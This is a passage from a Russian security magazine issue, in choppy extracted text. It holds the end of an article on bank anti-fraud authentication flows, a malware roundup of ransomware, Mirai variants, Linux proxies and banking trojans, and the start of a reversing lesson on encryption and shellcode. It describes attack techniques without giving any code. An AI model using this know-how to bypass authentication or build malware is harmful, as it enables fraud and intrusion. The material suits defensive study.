ки. Про вер ка выпол няет ся либо антифро дом, либо про вай дером сер виса.

Один из вари антов переда чи одно разо вого пароля — отправ ка СМС (Out‐
of‐Band SMS Authentication). Этот метод так же работа ет через внеш ний сер ‐
вис, но чаще исполь зует ся в син хрон ном режиме. Он час то при меня ется бан ‐
ками,  и  ты  можешь  встре тить ся  с  ним,  ког да  для  под твержде ния  перево да
при ходит  одно разо вый  пароль  в  СМС.  Под робно  про цесс  аутен тифика ции
методом Out‐of‐Band SMS Authentication изоб ражен на рис. 5.

Рис. 5. Про цесс допол нитель ной аутен тифика ции методом отправ ки
СМС

Нап ример,  ты  выпол няешь  перевод  теперь  уже  на  Яндекс‐кошелек  .
Интернет‐банк  обра щает ся  с  зап росом  ANALYZE  к  антифро ду  ,  который
сооб щает,  что  необ ходимо  про извести  допол нитель ную  аутен тифика цию
тран закции  . Пос ле это го интернет‐банк при помощи метода CHALLENGE
сооб щает сис теме антифро да о выборе Out‐of‐Band SMS Authentication  ,
получа ет в ответ сооб щение о необ ходимос ти зап роса одно разо вого пароля
и  выводит  тебе  в  бра узе ре  диало говое  окно  с  зап росом  одно разо вого
пароля  . Тем вре менем антифрод отправ ляет атри буты тран закции и одно ‐
разо вый  пароль  опе рато ру  свя зи  ,  который  уже  пересы лает  их  в  СМС
на  твой  телефон  .  Наде юсь,  что  ты  чита ешь  всю  эсэ мэс ку  и  све ряешь,
соот ветс тву ют  ли  прис ланные  в  сооб щении  атри буты  пла тежа  тем,  которые
ты запол нял в бра узе ре  . Если они сов пада ют, то ты вво дишь одно разо вый
пароль в диало говое окно интернет‐бан ка  . Интернет‐банк переда ет его
из  тво его бра узе ра  в  банк    и  зап рашива ет методом AUTHENTICATE
у сис темы антифро да, вер но ли ты ввел одно разо вый пароль  . Антифрод
про веря ет  сов падение  с  при вяз кой  к  опе рации  и  поль зовате лю  и  отве чает
на метод AUTHENTICATE, сооб щая интернет‐бан ку, успешно или нет прош ла
аутен тифика ция. Если успешно, то день ги перево дят ся на кошелек.
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На самом деле исполь зование СМС для переда чи
одно разо вых паролей нель зя счи тать дос таточ но
защищен ным.  Содер жание  сооб щения  может
быть  перех вачено  еще  до  того,  как  оно  дой дет
до  легитим ного  поль зовате ля  (см.  «

»),  а  сле дова тель но,  хакер
нивели рует  вто рой  фак тор  аутен тифика ции.
Порог  вхож дения  в  реали зацию  такой  ата ки
с каж дым годом ста новит ся все ниже…

Взлом
мобиль ной  свя зи  через  SS7:  перех ват  SMS,
слеж ка  и  про чее

Ис поль зование в качес тве фак тора аутен тифика ции мобиль ного
при ложе ния
До пол нитель ная аутен тифика ция может быть так же реали зова на с помощью
мобиль ного  при ложе ния  и  push‐нотифи кации  (One‐Time  Password  Pushed
to Mobile App Authentication). В слу чае рас смат рива емой сис темы это всег да
внеш ний сер вис, при этом вза имо дей ствие может быть как в син хрон ном, так
и в асин хрон ном режиме. Сис тема антифро да в этом слу чае отсы лает одно ‐
разо вый  пароль  не  в  СМС,  а  в  push‐нотифи кации  на  зарегис три рован ное
на  тебя мобиль ное при ложе ние бан ка.  Ты дол жен  так же  ввес ти  получен ный
одно разо вый  пароль  в  интернет‐бан ке.  Для  встра ива ния  воз можнос ти
получе ния  push‐уве дом лений  в  мобиль ное  при ложе ние  мож но  вос поль ‐
зовать ся мобиль ным SDK (набором биб лиотек, который пред лага ет про изво ‐
дитель сис темы антифро да, для выпол нения фун кций аутен тифика ции и сбо ‐
ра дан ных для ана лиза рис ка).

Сле дующим  рас смот рим  под твержде ние  на  мобиль ном  устрой стве
при помощи биомет ричес ких дат чиков (Out‐of‐Band Biometrics Authentication).
Этот  метод  исполь зует  внеш ний  сер вис  и  обыч но  асин хрон ный  режим.
Для про веде ния биомет ричес кой аутен тифика ции в нас тоящий момент рас ‐
смат рива емая  нами  сис тема  антифро да  име ет  воз можность  исполь зовать
отпе чаток  паль ца  (Fingerprint)  и  сет чатку  гла за  (Eyeprint).  Эта  фун кци ональ ‐
ность  может  быть  реали зова на  биб лиоте ками,  иду щими  в  ком плек те
с мобиль ным SDK сис темы антифро да. Вари ация такого про цес са при веде на
на  рис.  6.  Некото рые  бан ки  переда ют  рек визиты  перево да  на  при вязан ное
к  тебе  в  сис теме  интернет‐бан ка  мобиль ное  устрой ство  при  помощи  push‐
нотифи кации. При этом на экра не тво его мобиль ного устрой ства выводит ся
окно с атри бута ми и зап рашива ется под твержде ние при помощи, нап ример,
отпе чат ка  паль ца.  Резуль тат  под твержде ния  отправ ляет ся  мобиль ным  при ‐
ложе нием в сис тему антифро да.

Рис. 6. Про цесс допол нитель ной аутен тифика ции при помощи отпе чат ка
паль ца

Под робнее про цесс выг лядит сле дующим обра зом. Ты опла чива ешь покуп ку
через интернет‐банк  . Интернет‐банк зап рашива ет решение у сис темы
антифро да  методом  ANALYZE  и  получа ет  ответ  с  Challenge  .
Интернет‐банк  выбира ет  опи сан ный  нами  спо соб  аутен тифика ции  тран ‐
закции и отсы лает в сис тему антифро да зап рос CHALLENGE  , пос ле чего
получа ет ответ со ста тусом ожи дания  . При этом антифрод отсы лает атри ‐
буты  тран закции при помощи сер веров push‐нотифи кации на  твое  зарегис ‐
три рован ное  мобиль ное  при ложе ние  ,  где  ты  про веря ешь,  сколь ко
и кому ты хочешь зап латить, и под твержда ешь пла теж отпе чат ком паль ца  .
Если  ты  под твер дил  пла теж,  то  резуль тат  это го  переда ется  в  сис тему
антифро да  при  помощи  облачных  сер висов  .  Тем  вре менем
интернет‐банк  пери оди чес ки  опра шива ет  сис тему  антифро да  методом
QUERYAUTHSTATUS  о  резуль тате  аутен тифика ции    и,  как  толь ко  его
получа ет  , про пус кает или нет тран закцию в зависи мос ти от это го резуль ‐
тата.
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 стан дарти зиру ет методи ки безопас ‐
ной  аутен тифика ции.  Архи тек тура  FIDO  пред ‐
полага ет, что биомет ричес кие шаб лоны (биомет ‐
ричес кие  харак терис тики  зарегис три рован ной
лич ности,  которые  сох раня ются  в  сис теме
для  даль нейше го  срав нения  с  биомет ричес ким
образцом)  хра нят ся  на  устрой стве  поль зовате ля
и никог да его не покида ют. При этом, нап ример,
про изво дите ли  мобиль ных  устрой ств  сох раня ют
их  в  спе циаль но  защищен ных  областях:  Apple
исполь зует  Secure  Enclave,  Android  с  вер ‐
сии 6.0 — шиф рование при помощи Trusted Exe‐
cution  Environment  (TEE)  (см.  «

»). Одна ко
сто рон ний софт, уста нов ленный на твой мобиль ‐
ный телефон, как раз наобо рот — чаще переда ет
твои биомет ричес кие дан ные на сер вер для хра ‐
нения и про веде ния опе раций срав нения. И зав ‐
тра  изоб ражение  сет чатки  тво его  гла за  будет
про давать ся  на  под поль ных  форумах,  а  ее,
как пароль, не заменишь…

Аль янс FIDO

Ска нер  отпе чат ка
паль ца:  безопас ность  и  обход  защиты

В рас смат рива емой  нами  сис теме  исполь зует ся  еще  такой метод,  как  под ‐
твержде ние на мобиль ном устрой стве с под писью опе рации (Online Transac‐
tion  Signing  Authentication).  Он  похож  на  пре дыду щий,  одна ко  пос ле  под ‐
твержде ния тобой пла тежа в мобиль ном при ложе нии ответ еще и под писыва ‐
ется элек трон ной под писью для защиты от модифи кации. Антифрод осу щест ‐
вля ет про вер ку под писи и аутен тифици рует опе рацию.

Так же  иног да  пред лага ется  исполь зовать  под твержде ние  на  мобиль ном
устрой стве  с  под писью  опе рации  через  интернет‐банк  (Online  Transaction
Signing  Authentication  via  Bank).  Вкрат це  этот  про цесс  выг лядит  сле дующим
обра зом (см. рис. 7).

Рис. 7. Про цесс допол нитель ной аутен тифика ции методом под писи
тран закции при помощи отпе чат ка паль ца с переда чей через банк

Сис тема  антифро да  переда ет  зашиф рован ные  атри буты  опе рации
на  мобиль ное  при ложе ние  поль зовате ля  или  в  интернет‐банк,  который  сам
отсы лает  любым  дос тупным  спо собом  зашиф рован ные  атри буты  в  мобиль ‐
ное  при ложе ние  поль зовате ля.  При  этом  рас шифро вать  атри буты  может
толь ко мобиль ное при ложе ние, а интернет‐банк такой воз можнос ти не име ‐
ет.  В  мобиль ном  при ложе нии  поль зовате ля  они  рас шифро выва ются
и  выводят ся  на  экран.  Поль зователь  под твержда ет  опе рацию,  воз можно —
с помощью биомет ричес ких дат чиков. Мобиль ное при ложе ние под писыва ет
атри буты  и  отправ ляет  под пись  в  интернет‐банк,  а  не  в  облачные  сер висы,
как  в  пре дыду щем  вари анте.  Интернет‐банк,  в  свою  оче редь,  переда ет  их
в сис тему антифро да для про вер ки пра виль нос ти под писи и аутен тифика ции
опе рации.

INFO

Еще  одна  проб лема  биомет ричес кой  аутен ‐
тифика ции  —  это  воз можность  под мены.  Необя ‐
затель но,  что  твои  отпе чат ки  паль цев  про дадут
на  андегра ундных  форумах,  их  мож но  ско пиро ‐
вать уда лен но. Нап ример, вспом ним, как Starbug
(Ян  Крис слер)  вос ста новил  отпе чаток  паль ца
минис тра  обо роны  Гер мании  по  фотог рафи ям.
А  сис темы  рас позна вания  лиц  мож но  обма нуть
при помощи сис тем вир туаль ной реаль нос ти (см.
«

»),
при чем  даже  новые  дат чики  Samsung  Galaxy
S8 обхо дят ся еще лег че — при помощи нес коль ‐
ких  фотог рафий  (см.  «

»).

Для  обхо да  биомет ричес кой  аутен тифика ции
нуж но VR‐устрой ство и фотог рафии с Facebook

Сис тему  рас позна вания
лиц  Samsung  Galaxy  S8  обма нули  при  помощи
фото

В рас смат рива емой нами сис теме антифро да заложен спо соб под твержде ‐
ния опе рации при помощи под писи с исполь зовани ем мобиль ного при ложе ‐
ния в офлайн‐режиме (Offline Transaction Signing Authentication). В этом слу чае
антифрод  фор миру ет  сооб щение  с  основны ми  атри бута ми  тран закции
и  отправ ляет  в  интернет‐банк.  Интернет‐банк  выводит  окно  поль зовате лю
с  прось бой  под твер дить  опе рацию.  Поль зователь  вво дит  отра зив шиеся
атри буты в мобиль ное при ложе ние, и оно фор миру ет их элек трон ную под пись
в виде кода. Этот код поль зователь вво дит в окно интернет‐бан ка, тем самым
под тверждая  опе рацию.  Код  переда ется  интернет‐бан ком  в  сис тему
антифро да для про веде ния аутен тифика ции.

Ис поль зование в качес тве фак тора аутен тифика ции поч тового
ящи ка
Еще одним спо собом допол нитель ной аутен тифика ции может быть отправ ка
поч тового сооб щения  (Out‐of‐Band Email Authentication). Метод по сути ана ‐
логи чен  звон ку  на  телефон,  но  исполь зует ся  дру гой  канал  дос тавки  одно ‐
разо вого пароля (или ссыл ки) — элек трон ная поч та.

Та ковы  основные  воз можнос ти  сис темы  антифро да  по  допол нитель ной
аутен тифика ции и про цес сы аутен тифика ции, пре дус мотрен ные ей.

ЗАПРЕТ ОПЕРАЦИИ (DENY)
На конец,  самый  неп рият ный  для  поль зовате ля  интернет‐бан ка  про цесс  —
зап рет опе рации. Такой ответ сис тема антифро да может выдать, нап ример,
если  поль зователь  находит ся  в  каких‐то  внут ренних  спис ках  зап рещен ных
кли ентов или пре вышен лимит опе раций. Про цесс рас смот рения тран закции
с рекомен дован ным дей стви ем зап рета опе рации (DENY) мало чем отли чает ‐
ся от про цес са с раз решени ем опе рации (ALLOW), кро ме того что в резуль ‐
тате опе рация интернет‐бан ком не выпол няет ся (см. рис. 8).

Рис. 8. Про цесс обра бот ки события в слу чае зап рета опе рации

ЗАКЛЮЧЕНИЕ
Се год ня мы рас смот рели основные про цес сы обра бот ки опе рации в сис теме
антифро да,  а  так же  методы  под твержде ния  подоз ритель ных  опе раций.
К  сожале нию,  в  рам ках  жур наль ной  статьи  нель зя  опи сать  все  воз можные
слу чаи и заковыр ки с внед рени ем методов антифро да, но общее пред став ‐
ление,  наде юсь,  ты  получил.  В  сле дующих  выпус ках  мы  перей дем  к  внут ‐
ренней логике антифро да, к тому, каким обра зом и на осно вании каких кри ‐
тери ев и вхо дящих дан ных рас смат рива емая нами сис тема оце нива ет тран ‐
закцию, фор мируя свою резолю цию.

WWW

Не  забудь  про честь  пер вый  матери ал  из  это го
цик ла: «

»
Как защища ют бан ки: раз бира ем устрой ‐

ство и прин ципы бан ков ско го антифро да

https://xakep.ru/2015/07/17/mobile-hacking-ss7/
https://fidoalliance.org/
https://xakep.ru/2016/10/24/fingerprint-scanners/
https://xakep.ru/2016/08/25/vr-biometric-hack/
https://xakep.ru/2017/03/31/s8-facial-recognition-bypass/
https://xakep.ru/2017/04/21/antifrod-1/
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MALWARE

Про дол жаем  наш  цикл  рас ска зов  про  «мал варь,  которую
хочет ся  обсу дить  с  кол легами  —  вирус ными  ана лити ками
в  курил ке».  Сегод ня  в  наш  при цел  попали  сра зу  нес коль ко
клас сов мал вари: энко деры, бан керы, тро яны под Linux и An‐
droid. И все они, меж ду про чим, чем‐то инте рес ны!

Од ной  из  самых  злов редных  катего рий  тро янцев  по  пра ву  счи тают ся  шиф ‐
роваль щики, или, как их еще при нято называть, энко деры. Рас простра няют ся
они чаще все го при помощи спам‐рас сылок, при этом ковар ные зло деи вкла ‐
дыва ют  в  рас сыла емые  пись ма  не  сам  энко дер,  а,  как  пра вило,  кро шеч ный
JS‐скрипт, который при выпол нении заг ружа ет и запус кает тро яна.

Са ми сооб щения могут быть отправ лены от име ни какого‐либо бан ка, кре ‐
дит ного агентства, служ бы судеб ных прис тавов, адми нис тра ции соци аль ной
сети, Дедуш ки Мороза — в общем, некой инстан ции, которая может вну шить
доверие  потен циаль ной  жер тве.  Ну  а  даль ше  дело  тех ники:  ска чан ный
из  интерне та  энко дер шиф рует фай лы  поль зовате ля  и  пред лага ет  ему  зап ‐
латить  «доб роволь ный  взнос»  за  рас шифров ку.  При  этом  раз мер  «взно са»
может колебать ся от нес коль ких сотен до нес коль ких тысяч руб лей — сум ма
воз награж дения  дик тует ся  толь ко  жад ностью  вирусо писа телей.  Некото рые
зло деи  орга низо выва ют  для  сво их  «кли ентов» 
в сети Tor: на спе циаль ных .onion‐сай тах пос тра дав шие могут для про бы рас ‐
шифро вать  один  из  сво их  фай лов,  заг рузив  его  в  спе циаль ную  фор му,
почитать  раз дел  воп росов‐отве тов  и  даже  пооб щать ся  в  чате  со  служ бой
«тех ничес кой под дер жки» кибер прес тупни ков. Вот у кого сто ило бы поучить ся
кли енто ориен тирован ности  некото рым  про изво дите лям  легаль ного  соф та!
Прав да,  извес тны  слу чаи,  ког да  вымога тели  взя ли  у  пос тра дав ших  день ги,
а вот рас шифро вать их фай лы не смог ли или не захоте ли.

це лые  сер висные  служ бы

К  сло ву,  на  таких  под поль ных  сер висах  порой  нажива ются  впол не  себе
легаль ные  кон торы,  пред лага ющие,  помимо  ремон та  компь юте ров  и  пере ‐
уста нов ки  Windows,  плат ную  рас шифров ку  пов режден ных  энко дера ми  фай ‐
лов — эта услу га рас счи тана преж де все го на не слиш ком прод винутых юзе ‐
ров,  нес пособ ных  самос тоятель но  уста новить  Tor  Browser.  На  самом  деле
никакой рас шифров кой подоб ные фир мы не занима ются — они прос то пишут
кибер зло деям  через  фор му  обратной  свя зи  про ник новен ное  пос лание,
вытор говыва ют  скид ку,  пос ле  чего  «заряжа ют»  пос тра дав шему  более
высокий цен ник (но, как пра вило, ниже пер воначаль ных тре бова ний вир мей ‐
керов),  а  раз ницу  забира ют  себе.  Мораль ная  сто рона  такого  «биз неса»
вызыва ет, мяг ко говоря, некото рые сом нения.

А  вот  анти вирус ные  ком пании  на  самом  деле  рас шифро выва ют  пов ‐
режден ные энко дера ми фай лы для вла дель цев ком мерчес ких лицен зий, при ‐
чем дела ют это совер шенно бес плат но. Разуме ется, рас шифров ка воз можна
далеко не для всех вер сий энко деров, поэто му спе циалис ты не уста ют сно ва
и  сно ва  пов торять  одну  и  ту  же  про пис ную  исти ну:  исполь зуйте,  граж дане,
резер вное копиро вание, фун кцию защиты дан ных, а еще луч ше — и то и дру ‐
гое сра зу! Тем не менее уве щева ния дей ству ют далеко не на всех: с начала
года  служ ба  тех поддер жки  «Док тор  Веб»  получи ла  уже  поч ти 

  не  толь ко  из  Рос сии,  но  и  из  мно гих  зарубеж ных
стран  (а  все  потому,  что  они  не  читали  наши  статьи:    и  осо бен но  ,
в  которой мы  тес тиру ем  сом нитель ную  эффектив ность  аве ров  в  отно шении
ран сомва ри. — Прим. ред.). Вот самые рас простра нен ные вер сии энко деров
по дан ным за пер вые три месяца 2017 года, а так же геог рафичес кое рас пре ‐
деле ние зап росов от пос тра дав ших поль зовате лей:

7  тысяч  зап -

росов  от  пос тра дав ших

эту эту

Рас пре деле ние шиф роваль щиков по вер сиям

Рас пре деле ние жертв шиф роваль щиков (обра тив шихся
за рас шифров кой к нам) по стра нам

О  чем  говорят  эти  веселые  кар тинки?  О  том,  что  проб лема  энко деров,
во‐пер вых, как никог да акту аль на, а во‐вто рых — интерна циональ на. Одна ко
помочь, к сожале нию, мож но далеко не всем пос тра дав шим, даже нес мотря
на то, что, помимо тра дици онно го брут форса, для борь бы с тро янца ми‐шиф ‐
роваль щиками  исполь зуют ся  и  дру гие  методи ки.  Нап ример,  .  Не  те,
из  которых  моя  бабуш ка  варит  вкус ное  варенье, —  я  имею  в  виду  доволь ‐
но‐таки ред кие слу чаи  .  Так,
в  самом  начале  мар та  нек то  (воз можно  даже,  сами  вирусо писа тели,
у  которых  вне зап но  прос нулась  совесть,  но  это  малове роят ный  сце нарий)
раз местил  на  форуме  bleepingcomputer.com  ссыл ку  на  стра нич ку  сай та
pastebin.com,  где  были  опуб ликова ны  при ват ные  клю чи  для  тро янца‐шиф ‐
роваль щика Dharma (Trojan.Encoder.3953). Бла года ря это му уже 2 мар та была
написа на ути лита рас шифров ки, поз воляв шая вос ста новить фай лы на компь ‐
юте рах, пос тра дав ших от это го тро янца. К сло ву, это не пер вый слу чай утеч ки
клю чей для  . Как бы  то ни было, рас счи тывать на подоб ‐
ное везение не сто ит, пос коль ку сли вовые уро жаи соз рева ют весь ма нечас ‐
то, — луч ше заранее позабо тить ся об информа цион ной безопас ности сво их
устрой ств.

сли вы

вык ладыва ния цен ной информа ции в паб лик

Trojan.Encoder.3953

Кар ма для вашей Дхар мы

Про тро янца Linux.Mirai, заража юще го Linux‐девай сы с раз личны ми аппа рат ‐
ными  архи тек турами,  я  уже  рас ска зывал  в  пре дыду щих  замет ках.  Напом ню
лишь, что пос ле попада ния исходни ков этой вре донос ной прог раммы в пуб ‐
личный дос туп  тем пы ее рас простра нения  ста ли рас ти  чуть  ли  не  в  геомет ‐
ричес кой прог рессии. И вот в середи не зимы вир мей керы при дума ли кое‐что
новень кое. А имен но: родили зло деи в ночь не то сына, не то дочь, не мышон ‐
ка, не лягуш ку, а неведо му зве рюш ку — 

.  Этот  забав ный  гиб рид,  наз ванный  нами
с  необык новен ной  выдум кой  и  фан тази ей  —  Trojan.Mirai,  работа ет  сле ‐
дующим обра зом. При  запус ке  он  кача ет  со  сво его  управля юще го  сер вера
кон фигура цион ный  файл,  содер жащий  спи сок  IP‐адре сов  и  сло варик
с  логина ми  и  пароля ми  для  бру та.  Затем  Trojan.Mirai  запус кает  ска нер,
с  помощью  которо го  опра шива ет  TCP‐пор ты  по  задан ному  спис ку  адре сов,
и пыта ется залоги нить ся на уда лен ных хос тах. Если ему уда ется соеди нить ся
по  про токо лу  Telnet  с  устрой ством  под  управле нием  Linux,    заг ‐
ружа ет  на  него  бинар ный  файл,  который  ска чива ет  и  запус кает  Linux.Mirai.
Если  же  уда лен ная  машина,  к  которой  трою  уда лось  дос тучать ся,  работа ет
под  вин дой,  трой  дей ству ет  как  бэк дор:  запус кает  в  сис теме  про цес сы
с  исполь зовани ем  метода Win 32_Process.Create,  а  при  помощи  RPC может
нап рямую отправ лять уда лен ному узлу коман ды. Если же на ата кован ном хос ‐
те кру тит ся сер вер MS SQL, трой соз дает в СУБД нового юзе ра, прис ваивает
ему при виле гии sysadmin и от име ни это го поль зовате ля выпол няет в ском ‐
про мети рован ной сис теме раз личные задачи, задей ство вав для это го служ бу
SQL server job event.

тро янца для Windows, пред назна -

чен ного  для  зараже ния  Linux

Trojan.Mirai

Во обще,  инте рес  вир мей керов  к  плат форме  Linux  ничуть  не  сни жает ся:
об этом сви детель ству ет хотя бы тот факт, что в янва ре спе циалис ты «Док тор
Веб»  обна ружи ли  сра зу  нес коль ко  тысяч  Linux‐устрой ств,  заражен ных  тро ‐
янцем Linux.Proxy.10. Эта вре донос ная прог рамма под нима ет на ата кован ном
девай се SOCKS 5‐прок си‐сер вер, при этом соз датели Linux.Proxy.10 решили
не  замора чивать ся  с  изоб ретени ем  велоси педа,  а  исполь зовали  для  сво их
целей фри вар ные исходни ки ути литы Satanic Socks Server. Трой авто ризу ется
на уда лен ном узле по про токо лу SSH и при помощи ути литы sshpass выпол ‐
няет на нем сце нарий, запус кающий прок си. Самое инте рес ное зак люча ется
в  том,  что  тро янец  исполь зует  для  авто риза ции  весь ма  при меча тель ные
логины и пароли:

Мы все иног да добав ляем подоб ные плей ‐
схол дерные име на в код, но для релиза
это уже перебор

Поль зовате лей с такими учет ными дан ными обыч но соз дают в сис теме дру ‐
гие Linux‐тро янцы. То есть   ломит ся не абы куда, а изби ратель но
на те узлы, которые ранее уже были зараже ны дру гой мал варью. Их IP‐адре са
вмес те с дан ными для авто риза ции хра нят ся на управля ющем сер вере. О чем
это  говорит?  Преж де  все го  о  том,  что  дос таточ но  один  раз  не  усле дить
за сво ей телеп ристав кой или роуте ром, поз волив зло деям сбру тить нес той ‐
кий к взло му пароль, и вско ре такой девайс рис кует прев ратить ся в веселый
зоопарк, населен ный мно жес твом раз ношерс тных Linux‐тро янцев.

Linux.Proxy.10

Вер немся к опе раци онным сис темам от кор порации Microsoft. По сте пени
опас ности и раз меру ущер ба, который они спо соб ны при нес ти, в эко сис теме
Windows с энко дера ми успешно кон куриру ют  . Бан керы
пред назна чены  для  кра жи  денег  непос редс твен но  со  сче тов  жер твы  —
для  это го  они  могут  внед рять ся  в  сис темы  «банк‐кли ент»  или  выпол нять
веб‐инжекты  в  стра ницы  сер висов  онлайн‐бан кинга.  Нового  бан ков ско го
троя,  получив шего  наз вание  Trojan.PWS.Sphinx.2,  мы  иссле дова ли  в  начале
фев раля.

бан ков ские тро янцы

«Сфинкс»  ока зал ся  пря мым  нас ледни ком  широко  извес тно го  «Зев са»
(Zeus,  Trojan.PWS.Panda)  —  как  минимум,  эти  бан керы  име ют  общие  фраг ‐
менты  исходно го  кода.   

: он встра ивает в прос матри ваемые поль зовате лем на локаль ‐
ной машине веб‐стра ницы пос торон нее содер жимое, нап ример фор мы авто ‐
риза ции, информа ция из которых переда ется зло умыш ленни кам. Кро ме того,
в его арсе нале име ется  , который трой запус ‐
кает на заражен ной машине, что бы обес печить зло деям дос туп к ней.

Trojan.PWS.Sphinx.2 во рует  день ги  при  помощи

веб‑инжектов

форм‑граб бер и VNC-сер вер

Очень  инте рес но  устро ен  механизм  авто запус ка  «Сфин кса»:  для  это го
исполь зует ся скрипт, написан ный на язы ке PHP. На вин довой машине, Карл!
Для  реали зации  этой  хит роум ной  задум ки  вирусо писа телей  трой  дро пает
на  диск  два  фай ла:  php 5ts.dll  и  php.exe —  собс твен но  интер пре татор  PHP,
а  затем  сох раня ет  в  одной  из  дирек торий  обфусци рован ный  PHP‐скрипт.
Для запус ка это го безоб разия в пап ке авто заг рузки соз дает ся спе циаль ный
ярлык.

В резуль тате выпол нения скрип та стар тует «Сфинкс», который выпол няет
инжект  в  про цесс  explorer.exe,  а  затем  рас шифро выва ет  тело  заг рузчи ка
и  кон фигура цион ный  блок,  в  котором  скры ты  адрес  управля юще го  сер вера
и ключ для шиф рования при нима емых и отправ ляемых дан ных. Информа ция
переда ется  в  виде  POST‐зап росов,  а  все  необ ходимые  для  работы  дан ные
трой шиф рует и хра нит в реес тре Windows, генери руя име на вет вей по спе ‐
циаль ному алго рит му.

АЛМАЗНАЯ ПЫЛЬ В СМАЗКУ ANDROID’А
В  пер вые  три  месяца  2017  года  дос талось  и  поль зовате лям  ОС  Android.
Для  этой  мобиль ной  плат формы  тоже  активно  рас простра няют ся  бан керы,
ведь  прог раммы  «банк‐кли ент»  поль зуют ся  боль шой  популяр ностью  у  вла ‐
дель цев  смар тфо нов.  Нап ример,  Android.BankBot.140.origin  отсле жива ет
запуск  бан ков ских  при ложе ний  и  отоб ража ет  поверх  их  окон  под дель ную
фор му для вво да логина и пароля. Ана логич ным обра зом при откры тии прог ‐
раммы Play Мар кет тро янец пытал ся украсть информа цию о бан ков ской кар ‐
те, показы вая под дель ное окно нас трой ки пла теж ного сер виса Google Play.

Ан дро идные бан керы любят прит ворять ся Гуг лом, бан ками
и интернет‐кошель ками

Важ ный  момент  зак люча ется  в  том,  что  Android‐бан керы  живут  непос редс ‐
твен но  на  мобиль ном  устрой стве,  поэто му  мно гие  из  них  уме ют  перех ‐
ватывать вхо дящие СМС, скры вать их и даже незамет но отправ лять ответные
сооб щения  по  задан ному  в  кон фигура ции  шаб лону.  Такой  фун кци ей  обла ‐
дает,  нап ример,  .  А  еще  он  может  отсле живать
GPS‐коор динаты заражен ного устрой ства, красть записи из телефон ной кни ‐
ги  и  рас сылать  сооб щения  по  всем  дос тупным  номерам. 

Android.BankBot.149.origin

Кто‑то  убеж дал
тебя  в  безопас ности  двух фактор ной  авто риза ции  при  помощи  одно -

разо вых СМС‑паролей? Забудь об этом.
Ну а чаще все го поль зовате ли Android стра дают от назой ливой рек ламы,

которую показы вают все воз можные рек ламные тро янцы и спе циали зиро ван ‐
ные  прог рам мные  модули.  Одно  из  таких  при ложе ний,  содер жавших  рек ‐
ламный модуль  , было ска чано из катало га Google Play
50  мил лионов  раз.  И  все  ска чав шие  в  один  прек расный  момент  уви дели
на экра нах сво их девай сов при мер но вот такую кар тину:

Adware.Cootek.1.origin

Уди витель но, но не все счи тают это адварью. Мало того, из Гугл Плея
это ник то не убрал

Мо дуль Adware.Cootek.1.origin соз дает на домаш нем экра не Android вид жеты,
которые не уда ляют ся до тех пор, пока вла делец устрой ства не наж мет на них.
Пос ле  это го  ему  показы вают  мини‐игру,  выиг рав  в  которой  поль зователь
в качес тве наг рады вынуж ден прос мотреть оче ред ной рек ламный ролик. Кро ‐
ме  того,  Adware.Cootek.1.origin  встра ивает  рек ламу  в  экран  бло киров ки
и показы вает бан неры непос редс твен но пос ле раз бло киро вания мобиль ного
устрой ства.  К  сожале нию,  нес мотря  на  то  что  этот  модуль  детек тиру ется
анти виру сами для Android, выпилить его из сис темы, сох ранив при этом саму
прог рамму‐носитель,  не  пред став ляет ся  воз можным:  он  встро ен  как  ее
неотъ емле мая  часть  и  пред назна чен  для  монети зации  при ложе ния.  Поль ‐
зовате лю  оста ется  неп ростой  выбор:  либо  наб рать ся  мужес тва  и  стра дать,
либо не уста нав ливать подоб ное «бес плат ное ПО» вов се.

А мы  на  этом  завер шаем  наш  сегод няшний  обзор. От  всей  души желаю
вашим  компь юте рам,  нет букам,  смар тфо нам,  план шетам,  телеп ристав кам
и  про чим  роботам‐пылесо сам  такого  богатыр ско го  здо ровья,  что бы  его
не сумели подор вать никакие «тро янские кони».

https://xakep.ru/2017/01/30/ransomware-windows-10/
https://xakep.ru/2017/02/16/ransomware-x-test/
https://vms.drweb.ru/virus/?i=8051858&virus_name=Trojan.Encoder.3953
https://vms.drweb.ru/virus/?_is=1&i=14934685
https://vms.drweb.ru/virus/?_is=1&i=14906958
https://vms.drweb.ru/virus/?_is=1&i=14942329
https://vms.drweb.ru/virus/?_is=1&i=14895561
https://vms.drweb.ru/virus/?_is=1&i=14973923


ДЛЯ НАЧИНАЮЩИХ

РЕВЕРСИНГ
МАЛВАРИ

 ВНЕДРЕНИЕ SHELLCODE И
ШИФРОВАНИЕ MALWARE‐КОДА
ЧАСТЬ 4:

Иван Пискунов

MALWARE

Рад сно ва тебя встре тить на стра ницах нашего жур нала, мой
друг!  Мы  про дол жаем  про качи вать  скил лы  в  ревер синге
и поз навать нелег кое ремес ло malware‐ана лити ка. В сегод ‐
няшнем  выпус ке  мы  погово рим  о  двух  инте рес ных  фичах,
которые  доволь но  час то  встре чают ся  в  « »
вре донос ного  ПО:  шиф ровании  (encoding)  и  внед рении

, поз воля юще го в даль нейшем получить 
 потен циаль ной жер твы.

жи вых  образцах

shellcode ко ман дную
обо лоч ку ОС

Ну что, ты готов поп робовать свои силы и ринуть ся в бой? Тог да сме ло прис ‐
тупа ем к делу!

Четыре пре дыду щих уро ка
Пе ред проч тени ем этой статьи рекомен дуем осве жить в памяти пре дыду щие
матери алы:  ,  ,  ,  .ну левой пер вый вто рой тре тий

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред,  при чинен ный  матери ала ми  дан ной  статьи.
Если ты что‐то дела ешь — будь уве рен и понимай,
что ты дела ешь!

В  нашем  сегод няшнем  выпус ке  мы  раз берем  две  инте рес ные    сов ‐
ремен ного  поколе ния  malware:  обфуска цию  кода  вре доно са  при  помощи
шиф рования  и  внед рение  шелл‐кода  (англ.  shellcode)  пос ле  инфи циро ‐
вания  —  что бы,  нап ример,  выпол нить  какой‐нибудь    или  получить
коман дную  .

фи чи

экс пло ит
обо лоч ку ОС

DATA ENCODING, ИЛИ ШИФРОВАНИЕ КАК ИСКУССТВО
Те оре тичес кая часть
Сов ремен ные анти вирус ные движ ки и   с высокой
долей веро ятности поз воля ют обна ружи вать еще неиз вес тные или мало изу ‐
чен ные вирусы. Для того что бы «рас колоть» вре донос, анти вирус ное ПО сна ‐
чала  про гоня ет  по  сиг натур ной  базе,  затем,  если  не  уда ется  ничего  обна ‐
ружить,  выпол няет  код  прог раммы  в  собс твен ной    и,  наконец,
запус кает  ,  рас смат ривая под лупой  каж дое дей ‐
ствие вре доно са, будь то обра щение к реес тру, сис темным фай лам, сто рон ‐
